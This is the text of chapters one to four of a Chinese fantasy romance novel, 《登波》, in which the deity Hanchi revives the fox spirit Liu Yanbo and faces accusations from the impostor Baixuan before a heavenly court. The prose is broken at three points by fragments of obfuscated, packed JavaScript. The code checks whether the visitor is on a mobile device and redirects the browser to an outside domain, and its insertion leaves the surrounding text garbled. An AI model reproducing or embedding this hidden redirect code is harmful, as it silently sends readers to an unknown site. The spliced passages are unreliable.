《登波》 1. 起死回生 地府总录日日在酆都见鬼,今日也要感慨一声“见鬼了”。 酆都设有十八地狱,终年污秽阴寒,极少见天仙下降,今日竟有寒池上神的神使降临,点名提走一只叫柳烟波的狐狸精。 这寒池可是九重天少数存世的上古时代神仙,是句芒春神遗留下的得意弟子,连天君也要敬他面子。地府总录暗暗纳闷寒池也就罢了,这柳烟波又是何方神圣? 他不敢怠慢,按照神使吩咐出动九令生者、五岳府君、二十四阴阳官,将上下一千年的死籍鬼户翻了个底朝天,仍一无所获。 窗外,恶腥秽黑的海水紧绕着耸峙的城池,血红的鬼火日夜闪烁,即便身在六洞宫中,耳边仍时时听到从地狱中传来的阴魂呻吟,令神使的表情愈发不好看。 又过了半天的功夫,地府众鬼吏才终于从卷帙浩繁的生死簿中摸出一本薄薄的黄色册子。 神使迫不及待的翻开册子,上面赫然写着柳烟波三字,再往下读去,只见: “狐狸精怪也。生不祥,诞于山林。修采阳济阴之术,以美人之态游于人间。后为人所获,封印至方夏九域,卒不详。” 他边看边发笑,他还当能让寒池痴迷的女子是何等人物,如此看来,只是个寻常的风骚狐精。 “生不祥、卒不详,连封印在哪都没写?” 神使将册子翻得哗哗作响,暗道难怪在鬼户里找不见她,原来是没死透。 他不耐道:“我要这些废话做什么?” “神使莫怒、莫怒。”总录对他这摆谱的架势很有微词,决定甩锅糊弄过去。 他生前也在人间作官,对应付难缠的差吏颇有一套心得,清了清嗓开始吟唱: “遵照司命府指示,除大德大恶的业果外,生死簿一律只有生死定数,随胎出生后会随着身主行事变化,自动迭新至南斗司命府,我们六洞宫是无权改动的。” 神使啪的将册子掷到地上。 “别拿话诳我。我问你,这妖精现在在哪儿!” 寒池要提狐妖上九重天的消息是从等闲境的傻鹤口中偷听到的,绝不会有错,他这才火急火燎找到酆都,这是抢先一步找到的破绽,绝不能无功而返! “唔...按照生死簿,应当还在封印之地。” 神使逼问出了详细地点,多疑的目光又一一扫过大小鬼吏阴差:“在我之前,还有旁人来找这狐狸精吗?” 见众官否认,他暗喜这次终于要领先一步,说话更有了底气:“其他人的呢,也拿上来。” 总录不明:“神使还要找谁?” 神使面上浮出一抹暧昧的笑意:“柳烟波既行采补,祸害了不少男子,那些人当然要一并提审。” 为官多年,地府总录还未见过这种要求,赔笑道: “我们哪里有被采补的名录,况且他们各自投胎,只能借业缘镜对照前世因缘一个个去寻,恐怕是要兴师动众,神使如有上神手谕,我才好开这个口不是?” 神使双眉高高扬起:“哦……明白了,提审区区几个凡人都要三催四请,你们是欺负上神深居简出,就怠慢不肯办事。这差事我是办不得了,只能回去原样告诉上神,到时后果你们全担着,也怪不到我头上!” “岂敢岂敢,我们久仰上神大名,只是一直未曾有幸见过,这才想要个证物,神使也别为难我们做事呀。” 神使一撩袍子,转身便走,冷笑道:“不是我为难你,是你们为难我。” 总录长叹一声,终是答应下来。 神使将柳烟波采补男子的生死簿一一看过,又随便点了些其他人等的翻看,这才满意的点了点头,轻蔑道:“瞧你们这乱的,像什么样子。” 说完,将那叠千辛万苦找来的命簿向司官怀里一丢,淡淡道:“照原样收好,别叫人看出来动过。” 又叮嘱在场诸鬼神不可将今日之事外泄,这便要走。 总录连忙抢声道:“神使既然看完了,还请您将生死簿还来!” “生死簿都已还你。” “不是那些人的,是柳烟波的!”司官忙道。 “哦……这本啊。”神使捻起手中命簿,仿佛才发现似的,讶然道:“差点就忘了。” 众目睽睽之下,神使将柳烟波的生死簿收入袖中,冷笑道:“没治你们的失职之罪已是宽容,我哪有什么生死簿,从此酆都再没有这号妖!” 他的声音犹在回响,神身已化作一小星飞入深空,直奔柳烟波的封印之地而去。 那地方原来是一座大宅,后传说因封印了妖怪,再无人敢住,昔日的朱门绣户只余一片瓦砾和一株梧桐。 数百年过去,梧桐树表面被苔藓藤蔓厚厚缠了一层,早已看不出镇压符咒的影子,有心人只能在阴暗的雨天偶尔发现一缕微光。 只不过,此地早已无人敢来。 此时,大宅被结界笼罩,结界外日照当空,而在结界之内,落日余晖将男子如玉的身影拉得老长,一身白衣也被尽数染红。 他将手附在树干上,缠绕的藤蔓瞬间弹起,如流水一般从枝干上泻下,露出一块贴满符纸的石头。 揭下符纸的瞬间,纸上符文立刻射出数道红光,男子吃了痛,眼中兴味渐浓,手中符纸顷刻化作齑粉,随风散去。 大石顿时裂开,露出树下布满红线的深坑,从中传来阵阵三清铃声,再次镇压坑中的东西。想来设下封印的那位天师思虑周全,十分忌惮柳烟波出逃。 一阵风来,红线凭空断裂,又一阵风去,吹开了最深处的桃木箱子。 箱内依稀可见一具狐狸的骸骨和一把匕首,空洞的两只眼孔幽暗漆黑,骸骨上覆着一层莹莹的微光。 男子低叹:“何至于此。” 他拿出一只龙眼般大的珠子,放入狐狸腔中。 一时间红光大盛,如血一般的燃烧着,与结界内的残阳融为一体。 而他身披血色,携箱飘然而去。 “砰,砰,砰……”五百年来,柳烟波再次听到了自己的心跳声。 还未从茫茫然中挣脱,她眼前已被白光铺天盖地的笼罩,一股锥心烂骨的剧痛从头贯下,仿佛将每缕肌肉撕得稀烂。 直到疼痛褪去,她这才反应过来——自己竟被雷劈了! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332616|183308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >当听到头顶滚滚的雷声去而复返,烟波已是身心俱裂,不剩丝毫力气抵抗,只在脑海中随青雷一起咆哮。 天杀的!到底是哪个王八蛋把她挖出来鞭的尸!!! 闪电降下,瞬间将整个天地照亮,她隐约看见远处一个白衣男子立于高石,静静俯瞰着她。 他的面孔在黑暗中一瞬皎如白雪,一瞬暗如长夜。 见她瘫倒在地,挣扎着想抬头望来,男子面无表情的移开目光,落在她身边已被天雷劈出一道道深沟的地上。 轰隆隆的雷声一刻不停,可竟再没有一道落在柳烟波身上。 一柄银色长剑悬于半空,宛如从天上牵来的风筝线,硬是将天降青雷从女子身上引过,尽数接在剑身导入海中。 这小小的长剑比之天上的惊雷、海上的巨浪渺小的似一枚纤细银针,但却在雷光中屹立不倒。 天雷一入水中,便炸起足以将一切吞噬的万丈水墙,雷、雨、电、浪交织,俨然一头狂啸的怪兽,观之触目惊心,让人实难分清何处是雷,何处是浪。 一只飞来的白鹤拼命挣扎,眼看就要被卷入浪头。男子眉头微动,伸手将风势抚平,护它乘风飞来。 白鹤落地化为少年,对男子道: “上神,酆都六洞宫的地府总录找来,说咱们境里的神使大闹了六洞宫,还带走了柳烟波的生死簿,他只能来求上神将生死簿还来。” “嗯。”男子应了一声,淡声问道:“都按照我嘱咐的问过他了?” 白鹤点点头:“他说,那神使问了柳烟波的封印地点就走了。” “怪听话的。”他的嘴角浸染出了一点柔和笑意,转瞬又消匿在黑夜中。 这假冒神使的男子是他的一位老相识,名叫白玄真君,这些年来一心盯着从他身上寻件东西,单方面与他斗得你死我活。 为免碍事,他故意漏出要去酆都提妖的消息,白玄自作聪明,果然闻风而动。 在真君与鬼官们纠缠之际,他已取了骸骨,等白玄前往封印,他已回到了等闲境,将他结结实实的遛了一大圈。 一片琉璃般剔透的叶子飘飘乎落在了少年掌心。 只听男子道: “去吧,叶子是我的信物,让总录交给北阴天君,请天君告上天去,助我们查明是谁冒充等闲境之人所为,为六洞宫与等闲境正名。” 这少年听得懵懵懂懂,不解仅仅一本生死簿,怎的要闹这么大的动静,他犯愁道: “闹这么大,白玄真君要更加记恨你了。” 男子含笑道:“我们总不能让总录担罪。” 白鹤先点点头,终是忍不住担忧道:“要是九重天查到柳烟波头上.......” 他仰头观望天色,此时三道天雷已过,银剑乘浪飞回他手中,化为一柄折扇。 寒池意味深长的冲少年摇一摇头:“你去后速速回境,切勿在外逗留。自今日起,等闲境闭关,直至她醒来。” 少年顺着他的目光看去,一缕微弱的莹光从深坑中射出,直达天际。 而这光芒,正是由昏迷的柳烟波身上发出。 2. 检举(上) “我要告发寒池与其点化的柳烟波秽乱九重天,罪不容诛!” “若九重天容得下此等巨奸巨恶之妖孽侵入,亿万年的声望规矩也都成了笑话,今日是只狐狸精,再往后是什么?恐怕便是那些魔都的堕魔魇怪!长此以往哪还有我真神金仙的立锥之地,这天宫与魔都又有何分别?” 雷部火府内,白玄真君正立于座下痛陈,一派义愤填膺之色。一众神仙端坐于火云座上,皆垂眸不语。 镇国司命听得“狐狸精”三字,全身一个激灵。她向来本本分分的审批由酆都发还南斗司命府的生死簿,今日突然被顶头上司苍光司命叫来,说有一桩大案必须要她接受质询。 她一头雾水跟着上司赶来雷部火府,只见左手端坐贪狼星君,右手端坐长生大帝,前头还坐着素来执掌法度的荧惑星君,若按凡间的说法,可真是三堂会审,好大的阵仗! 司命眼神一一扫过周围的各路仙家,最终停在六洞宫的地府总录身上,心里忽感不妙。 偏偏苍光司命偷偷识海传音发来一条提点:“小崔啊,听他们漏出的口风,今日之事与你管理的天地命簿移交有关,你好生想想,恐怕影响仙途啊。” 现在,她终于明白上峰所为何意。自凡人修成仙体多年,镇国司命早已忘了出汗的感觉,但此时,她感觉自己汗流浃背了。 “我虽不才,不能延续祖神伟业,但总也时刻谨记自己是帝舜真神后裔,身上流淌的是上古有虞氏的血脉。就为着这个,即便拼了一身修为,我也不能眼睁睁的看着九重天被下流妖孽污染。 “为防寒池戒备,我才自称他境中神使,去六洞宫抢先拿下狐狸精柳烟波的生死簿,本想着一口气报上雷部,没想到却被他抢先诬告我大闹六洞宫。” “此神奸恶,根本配不上东方司正一职,枉为上神,还请诸神君明鉴,将这玗琪木精寒池与柳烟波一并治罪,否则难保九重天不出现第二个莲扶!” 一番慷慨激昂的陈词说毕,白玄庄重的行了一礼。 听闻“莲扶”二字,众神君心中俱为一震,莲扶是登比氏神裔,既是帝舜妻子握登的侄孙女,祖上又与春神句芒是远亲,可谓是再正统不过的上古神裔。 她继承了登比氏的光明血脉,所到之处皆为光明,在九重天身居要职。 多年前她爱上了来九重天参加集会的魔王之子崇冉。莲扶怜魔界阴冷失辉,赠予崇冉一枚不灭火精,使九重天大为震撼,认为这是魔界故意为之的诱骗,险些闹出一场仙魔之战。 最后双方各退一步,罚莲扶与崇冉下界经情劫十世赎罪,历劫间不配护法看护,没想到最后竟真修了个十生十世一双人回来。 莲扶返天后自愿下降与崇冉成亲,但从此仙魔二界也严禁来往,“莲扶”也成了九重天的禁忌,是为寒池点化柳烟波飞升之前九重天最好聊的八卦。 而堂中这位神君,正是假冒寒池仙使大闹六洞宫的白玄真君。 白玄所言不假,他祖上数起来确实很阔,先祖便是赫赫有名的帝舜……的后母弟弟象,在上古史能留下浓墨重彩的一笔,全靠他和他娘欺负舜出了名,反衬出舜的纯孝光辉形象。 时过境迁,经过数次动荡,创世的上古神族或凋落或避世隐居,所存无几,舜这一支部分去人间化为人族,留在大荒的神裔几近消失,只有他家还留下了这么一根独苗。 这帝舜后裔的名头最终竟落在了他头上,更是以此自视甚高,认为如今当道的新神皆是占尽便宜忝居神位之流,给正统神裔提鞋都不配,向来对他们极为鄙夷,是个十足不好管的刺儿头。 上古辈的真神们打架,后来的仙君们听着热闹,只盼着打得再热闹些,只是白玄三言两句便把闹酆都说成这般大义凛然,听得地府总录心中直撇嘴。 端坐在正中的荧惑星君宽慰道:“真君所言甚是,九重天何人不知您的大义?此事定会秉公处置,给真君一个交代。” 也不知句芒真神门下是怎么得罪了这位真君,荧惑星君腹诽。 当年就是他偷偷告发的莲扶,引出后面这么串事端,现下又轮到句芒的在世弟子寒池了。 他顿了顿,又道:“只是...寒池上神还未到,真君稍安勿躁,待上神来了才好定夺。” 白玄见诸神皆被震慑,心下满意,暗道将莲扶拿出来敲打这招果然高明,比着莲扶的先例,他再上上高度,寒池又没有尊贵的真神血统护身,九重天总不敢对他高举轻放。 他轻哼一声,道:“只盼着不辜负我的苦心便是了。”撩袍回了位置坐下。 场面一度十分安静,见各位大神仿佛入了定的模样,地府总录心中着急,不防与对面的镇国司命视线撞到一处。 若问责起来,这柳烟波的生死簿是从六洞宫流转到司命府的,大家都经了手脱不得干系,正是急需对词之际,偏偏他二人平日一个在天一个在地,没有互开视海,此刻只能干瞪眼,阴阳的间隔都不如他俩遥远。 不知不觉,已过去两炷香的功夫,各家随行的星官仙使们渐渐窃窃碎语起来。 忽然,一阵清风吹来,挟着一股清凉幽沉的木香不动声色的包围了整个厅堂。 地府总录久居酆都,终日闻惯了污浊秽臭,第一次闻到此种香气,只觉得心旷神怡,这味道如初晨的甘露般清冷洁净,不由得再猛吸一口。 却见在场诸神敛了神色,纷纷整肃仪容。这股奇异的清风仿佛带了噤声真言,原本低语的仙官们全都安静下来,连獬豸都不再躁动,一时万籁俱静,只留下鼻尖的点点清凉。 这味道地府总录不曾闻过,但九重天众仙心中皆道:“来了!” 当风声止住,各仙君腰上坠着的璎珞犹自摇曳,殿门中忽现一道青色身影。 仿佛拨云见了月,露出一张似从工笔画里摘出的男子面孔,雅正俊逸,温其如玉。 一身青衣飘摇,犹如月辉下的青松衡芷,周身仿佛渡了一层玉色柔泽,恍惚间有如梦似幻之感。即便九重天仙君样貌皆好,他列于群仙中依然出众。 “境中息壤突发异样,因此来迟,请诸君见谅。” 男子面带歉意的冲诸神颔首。 他的音色泠泠,没来由的叫地府总录想起一句“清泉石上流”,想来,他就是传闻中的等闲境主人,上神寒池了。 “息壤”二字一出,诸神登时从座上弹起,纷纷问道:“现下如何了?” 上古大战后,神魔兵的怨念杀意附在古战场的尸身上,催生出无数死灵贪魔,两千年前,上古大战时期的古战场废墟下沉,多处息壤掉落在三界。 若非寒池第一个发现并阻止了古战场下沉,带领诸仙将息壤收集净化,后果不堪设想。 最终剩下两块无法净化彻底的息壤,他更是自请镇压至自己的等闲境中,以便一旦异动就能立刻处理。 因此当他提及息壤有异,诸神皆不敢疏忽。 寒池神色和煦,宽言道:“已经处理妥当。” 白玄见寒池一来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332617|183308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在场诸仙皆一拥而上团团将他围住,各个面露敬重之色,只觉牙要酸掉了。 他最看不惯这小人装模作样的做派,一出事就先搬出件大事抬高自己,唬得旁人先敬三分,干下的恶事自然大事化小小事化了了。 要不是因为寒池把自己和息壤绑在一块,九重天能在他两万两千岁就赐封上神吗?想到自己堂堂正统真神后裔,如今也不过是个领虚职的真君,白玄一开口便冒阴风: “息壤放在自己府地就是好啊,什么都能拿息壤当幌子躲罚,早知如此,九重天应该人手一块,只不过......寒池上神引以为傲的功绩也就没了。” 堂上瞬间安静下来。 “白玄真君慎言!”有星君斥道,白玄冷笑一声住了口。 寒池置若罔闻,只问道:“不知找我来,究竟有何要事?” 荧惑星君道:听闻上神点化人间一只名叫柳烟波的妖狐飞升,如今已历了雷劫,销了命簿寿元,做了等闲境的一名仙娥?” 寒池点头:“确有此事。” “那便是了。”荧惑星君一捋粗短的胡髯,斟酌道:“雷部收到检举,称上神所提的这只狐精不具备飞升资格,是上神徇私作假,才把她提成了仙身。” 寒池缓缓环顾四周,一双乌瞳转动间流光溢彩。他迟疑道:“还请星君明示,柳烟波是何处不符规则?从酆都到司命府,所有章程都顺当的走了一遍,应是无误的。” 被点到名的地府总录与镇国司命一个左眼皮乱跳,一个右眼皮乱跳,二人双双又有了汗流浃背的幻觉。 “唔......”荧惑星君向旁边的长生大帝看去,长生大帝和颜悦色道:“上神长于天地,是否知道人、地二界飞升我九重天的方法?” “一者修炼得道、二者功德圆满、三者觅得仙药、四者巧遇仙缘,都可登入天堑斩道,不分三界类别。” “那么柳烟波符合哪一条?” 这就不好说了。寒池沉吟,这狐狸样样都沾点,但每样都是一瓶子不满半瓶子晃荡。 他道:“柳烟波在凡间已有七百年道行,并有恩于小神,因此得了我的机缘飞升。” 镇国司命低敛长睫,悬着的心放下大半。 寒池上神说得不错,这柳烟波得了他的赏识上天,并无不妥之处,有点资历的神仙手里都有几个酌情点化的份额,更别提寒池这等新晋上神了。 听说他的等闲境中只养了一群灵胎金鹤和花花草草,点化五个仙女仙男都没得问题,遑论一个狐狸精。 “大帝、星君,您二位也太顾忌他颜面了。”白玄冷冷的出声打断道。 他在寒池手上吃了不少亏,深知这厮阴险狡诈,对他应慎之又慎,把气沉到地底去。 可为了今日,他已按捺百年,这次他终于握住了寒池的破绽,可谓是良机千载难逢,必能一举扳倒。 如今寒池已立于堂上,眼见距胜利仅有区区一步之遥,白玄激动的血气上涌,全身控制不住的微微颤抖。 他眸光中锐意如淬火利刃,死死盯着身旁的青衣身影: “何必同他兜这么大圈子。只需问他,那柳烟波在凡间修的是采阳补阴之法,行的是吸取男子元阳之道,这样的妖孽本已被人间天师封印于地下,他寒池安得什么心要将她挖出来换骨洗髓,硬是护送她飞升为仙? “我再多问一句,就凭狐妖那点道行是怎么抗住天雷的?怕是上神和那狐狸精闭关快活了五百年,让她采补了修为吧!” 3. 检举(中) 此言一出如惊雷隆隆,炸得四座哗然。 白玄心满意足的长长吁出一口气来,百年来他还是第一次这么痛快! 打从听到寒池要提一只狐妖上天起,九重天关于此事的流言蜚语就一直不断。 具体故事众说纷纭,但主旨总不过是这狐妖把九重天最有为的新晋上神迷昏了头,否则连弟子都不肯收一个的寒池怎肯点化一只野狐狸? 镇国司命闲暇之余也没少参与此类讨论,只是那时她怎么也没想到,这八卦有一天会砸到自己头上。 白玄真君的话格外劲爆,可她已无心去听,只有满腔为时已晚的忏悔,上峰的那句“影响仙途啊”如魔音贯耳,在脑中反复回荡。 上古诸神啊,这就是她传八卦的报应吗? “小崔,相关文书我已带来,到时由你说明。” 一直装死的苍光司命突然传来一条识海讯音。 上司果然没有抛弃她!镇国司命感动的又想给他再多当几万年牛马。 仙界一向讲究优雅得体,白玄讲得这么露骨粗俗,让诸仙都颇觉刺耳,德高望重的几位大神更是皱起眉头。 反观寒池却不羞不恼,面无表情,仿佛他并不在这话题中心,叫人琢磨不透。 当场面安静下来,才听他开口道:“还有么?” “还有什么?”白玄简直要以为自己听错了。 “真君还有什么指正,一并说明罢,也省去许多麻烦。” 见寒池这般不以为然的模样,白玄气得双眼发红,手中的火云座扶手被他握成了渣粉,他咬牙道:“好,我这就成全你,看你能嘴硬到几时!”说着扬手将一沓绫纸甩向寒池。 绫纸并未近寒池的身,只漂浮在半空,正将他围在中心。 诸神定睛一看,绫纸所书皆为请愿,其中一一列数柳烟波凡间劣迹恶行,言辞激烈,所述细节近乎淫词艳语,冶荡万状,颇不堪入目,不由得交头接耳躁动起来。 “诸位请看,这是人间修仙宗门世家的请愿,柳烟波劣迹斑斑,行事荒淫皆为人目睹,证据确凿,这可不是一张嘴就抵赖得了的。”白玄正色道。 寒池兴趣泛泛,只扫了一眼便不再看,转而冲白玄露出一个极浅的微笑:“真君辛苦了,我还不知有这些。” 白玄毫不见他有慌张之色,正心中打鼓,听他最后这么一句,又得意起来,双眼微微一亮,扬声道:“上神莫不是要说,自己好生无辜,都是被那狐妖骗了吧?” 寒池轻轻点头,缓声道:“如果真是如此,我无话可说。” 在场诸神惊异的面面相觑,本以为今日必会你来我往斗上许多回合,怎的立刻就承认了?连白玄都觉得不可思议。 面面相觑的还有荧惑星君与长生大帝,寒池认得这么痛快,将错全推给了狐狸精,那他本人…还罚么? 荧惑星君缓声道:“既寒池上神已认罪,那先在此留一留。” 他转而点出一排火府神将,命他们即刻前往等闲境捉拿柳烟波。 寒池面色平静,待荧惑星君安排完毕后道: “星君,我有一事请求。” 白玄冷笑:“早知今日何必当初,现在求也晚了。” 荧惑星君点头示意寒池继续,白玄见他们二人视自己于无物,憋气侧过身去。 寒池道:“星君派出的人手恐怕不足,还有些人,也须拿上天审问。” 荧惑星君和白玄俱是一惊,星君问:“上神也有要检举之人?” 白玄虽嫉恨寒池,可亦纳罕这样狗急跳墙攀咬他人的做派,并不似他的风格。 “按这各家书中的恶行,足够柳烟波被斩杀十次还有余了,这些修仙宗门实力雄厚,为何纵容她名声在外,祸乱一方至此地步却不出手? 当地土地、府君、城隍、日夜巡游神也都隐而不发,叫我点错了人,险些毁了九重天的声誉,应当一并提上天来问责治罪。” 白玄本已稳当当的落了座,听寒池此言,登时来了劲从座上弹起,指着他怒道: “寒池!我看你是自知辩白不得,就故意攀扯他人!地仙们事务繁忙,一个狐狸精怎配叫他们抛下属地,倘若期间出事照看不及,你负得了这个责吗!” 那些修仙宗门一心飞升,有白玄这位从九重天降下的真神主动联络,甚至有求于他们,自然喜出望外没有不照办的,管那柳烟波是谁,按照白玄的要求怎么穷凶极恶怎么写来。 可寒池报出的那串辖地地仙却不同凡人好摆弄,他也不曾提前打过招呼,若是真拿上天一一问过,他们定会为了自保互相推诿,将那柳烟波的孽行越推越轻,最后倒成了组团给她说情去了。 他绝不能让寒池得逞! “一个狐狸精,已配叫真君劳动诸位神君聚集于此了,再添几个也不嫌多。”寒池淡淡道。 “按你的查法,要牵扯多少仙家进去!怕不是指望将时日拖长,好找人来救你吧。” “我不怕查,难道真君怕么?” 寒池目光如炬:“我还想问天道,为何放任妖孽渡过雷劫证道,蒙蔽了九重天。” 此言一出,全场哗然。 逆天而行,必遭天谴,天雷没劈死柳烟波,这是不争的事实。 “胡言乱语!上天有好生之德,怎轮到你来质问!” 白玄知道若被寒池咬死了这点辩驳,他还真不好反击,因此在堂上抢先一步要坐实柳烟波的邪道,寒池却不容他再想,旋即将目光落在荧惑星君与长生大帝身上,道: “我记得白玄真君一心在自己洞府修行,不履火雷二部之职,九重天都难寻他的踪迹,不知修仙宗门有什么误会,不将请愿书送至专司督查执法的在座,反而要交给不问世事的真君?” 白玄知他意在点明自己故意罗织罪名,抢声解释道:“我听闻你提了狐妖,心中生疑,这才下界悄悄探查。” 他越说越定下心绪,又道:“眼见不成了,你就开始挑拨我九重天中人,一计不成又生一计,实在可恶,在座各位眼明心亮,你当真会被你唬了?” 堂上众仙神色各异,被荧惑星君尽收眼底。 他手心翻覆,那圈绫纸便如白鸽般呼啦啦的飞入他手,道: “凡间宗门传言甚多,却无凭证,终究有捕风捉影之嫌;若真要落实,确如寒池上神所言,理应将柳烟波所在辖地的地仙们请上来询问才好,可如此一来需耗些时日,非今日能定论。” 他顿了顿,将本狰狞的神相化成和蔼可亲,道:“只是柳烟波若真不堪至此,不论地仙们是否失察,三道天雷早诛灭了她。” “如今她顺利渡劫,天道已作出判断,她的确有这个机缘造化。恐怕这中间有什么误会,真君赤诚耿直,才出了这番差池。” 他看看白玄,又看看寒池,前者咬牙切齿,满脸不甘,后者垂首而立,面容沉静。 他挥手撤去神将,宛如一个慈爱的长辈温言劝解道:“若真君没有别的事,不如今日我们便......” “谁说没有凭证?这绝不是误会!”白玄叫道。 他屏息半晌,却听出了荧惑息事宁人的意思,再也忍耐不得。 呸!这荧惑算是个什么玩意儿,寒池还没说什么,就上赶着当他的一条狗,眼皮子浅薄势利,他叔祖陆终便是当年的火神,若不是在上古几次大战中消匿,哪轮得到此等所谓新神对他指手画脚? 他在心中痛骂荧惑星君数句,但终究竭力忍耐下来,只是再没了方才的恭谨神色: “当日我不慎得罪了北阴天君,叫他一封诉状告我没有规矩,今天我长了记性,我就当着大家的面,请星君提几个酆都的人来,一切自然分明。” 随着上古真神或陨落或遁世,如今的九重天神位大都由上古的神兽或自己修炼飞升的新神担任,这白玄真君顶着个有虞氏真神后裔的名头,不屑与新神为伍,镇日窝在自己洞府少问世事,只在这举报之事上最有较真的精神。 荧惑星君因此与他打过几回交道,自己又是新神出身,早从举止间看出白玄瞧不上他,见他不依不饶,只平平道:“酆都的六洞宫总录就在此处,真君问总录便是了。” 白玄瞥了一眼总录,冷笑道:“总录官大,恐怕我请不动。” 别当他不知道,就是这总录与寒池串通,才撺掇北阴天君写了诉状。 总录心如明镜,这真君还在记恨迁怒于他,觉得此时无声胜有声,眼观鼻鼻观心盯着膝上的衣褶装死。 只听白玄又道:“我要请的人可没什么大不了的,都是被柳烟波所害的凡人,总有几个还未来得及轮回转世,仍在酆都待着,我知道六洞宫有法子唤醒他们任意一段前世记忆,只需对照生死簿审问,谁也做不得假。” 他对荧惑似笑非笑道:“星君,这既不费什么功夫,也不劳动大驾,总可以请来罢。” 又忽然想起了什么,对寒池挑衅道:“上神可敢当面对质?” 寒池静静打量他胜券在握的样子,道:“请便。” 少有将酆都的凡人阴魂提审九重天的先例,荧惑有些拿不准,却发现寒池闻言表情终于有了些微变化,他心中一动,与长生大帝交换了眼神。 二仙各化出一蓝一金两道光束,在半空交缠做一首尾相连的卷羽图腾,化入总录掌中,作为点魂手令交予北阴天君。 天上一日,地上一年,地府总录来回迅速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那是在几日前,柳烟波渡劫后终于苏醒,他想到这狐女性格柔弱可怜,乍换了地方,心中必然惶恐,正欲宽慰两句却被打断,待她一一问清他的名字身份后,反而指着他噼里啪啦的骂了一串: “原来是你这个天杀不积德的王八蛋刨了坟!将我一身骨头毁得干干净净,最后还从天边引下雷来劈姑奶奶的天灵盖!我何德何能遭这样的罪过?我可不信你家下流祖宗的十八代被我劈过对穿!” 那是打寒池降生以来挨过最酣畅淋漓的痛骂,遣词造句之狠实数罕见,以至于现在回想还在耳边嗡嗡回荡。 寒池忍住气,告知是自己助她飞升,柳烟波呆了一呆,只问:“唔......你是杭谢?不对,你是阿叶!不对不对,他比你长得差远了...我知道了,你姓肖,是西苑的那个教书先生?” 他难以置信的看着柳烟波抱头苦思,口中念念有词,时不时从嘴里蹦出个人名来。 良久,看着她面露暧昧的暗示,他才回过味来——这长长一串人名,都是她曾经的情郎...... 竟然有这么多??? 他蹙眉问她:“你脑子里除了这些,就没别的可想吗?” 那狐狸想也不想就回道:“不然呢?” 顶得他哑口无言,大为震撼。 而柳烟波见他脸色,只在榻上翻了个身,故作惊讶的睁大了眼,张大了口,笑嘻嘻道:“既不是旧相识,看来是我的高名远扬,叫天上的大仙也神魂颠倒了?” 寒池心情复杂的看向地上那一排男子和一条狗。 果真有这么多…… 满堂仙人的眼睛都黏在寒池身上,将他的一举一动尽收眼底,早就发现打从地府总录提魂上来,这位上神便失了镇定,现在更如失魂落魄了一般。 白玄更是不错过寒池的一丝反应,他心中狂喜,看来这命脉确叫自己拿住了。 他从未指望全靠陈情书给寒池定罪,用来坏寒池名声就足够了。 能开口说话的凡人魂魄才是他的致胜底牌,上次假冒寒池神使,他借口查探柳烟波相关人等,将这些凡人的生死簿仔细比对过业缘镜,他们可都确确实实被柳烟波采补过。 各仙心中浮想联翩,满座互相交换了一个眼神,这寒池竟然不知情!见他嘴唇轻启,纷纷屏息凝神,好奇他能说出什么话来。 只听他道:“总录,不知是否有法子,暂且恢复他们那一世的容貌?” 地府总录早有准备,拿出一株血红的曼珠沙华,依次点在诸魂头顶。 似拂去一层看不见的迷雾,鬼魂们的面容于瞬间清晰。 诸仙伸长脖子定睛一看,好家伙......一个赛一个的俊俏! 4. 检举(下) 棕狗亦化作一浓眉大眼的男子,端的是英姿勃勃,神采飞扬,只是伸着舌头的傻样拖了后腿。 堂上乍然多出十一个美男子,文秀有之,飒爽有之,潇洒有之,各式各态,无一不足的,相同的是,皆是一般的英俊,即便立于群仙中也不觉逊色。 镇国司命暗暗赞叹,这狐狸精可真会找人啊...... 寒池细细端详谭阿叶的脸庞,唔......似乎确实比他粗糙了些。 镇国司命将这十一人当世的命簿一一念毕后,白玄将其中几个挑出来,道:“大帝请看,这几人皆病逝,定是被那妖狐吸干了阳气,毁了原本寿元,这才精竭而亡。” 长生大帝的视线落到总录身上,总录忙道:“病逝是命数中定下的死法,是否真与柳烟波有关,还是应该问本人最为稳妥。” 镇国司命连连点头附和。 “等等。” 寒池打断了地府总录将说出口的话。 “这十一人中,没有一名姓肖的教书先生吗?” “有是有...说来不巧,那人已入轮回多时了。” 寒池并不失望,只轻轻“哦”了一声,再不言语。 原来他都知道! 众仙和白玄心中俱掀起了惊涛骇浪,这下可大大出乎意料了。 陈情书上所述柳烟波的艳闻方才他们都看在眼里,虽不可尽信,但至少也有三分可信,本以为寒池并不清楚柳烟波与这些男子的往事,这才一时失神,为情所伤郁郁不言。 可现下看来,他是心知肚明,甚至比谁知道的都多哇! 在座满座互相交换了两个眼神,皆暗叹往日见寒池独来独往,本以为他性情疏离,不曾想内心如此火热,竟用情至深到此等地步...... 此言一出,宛如在白玄耳畔炸开惊雷。 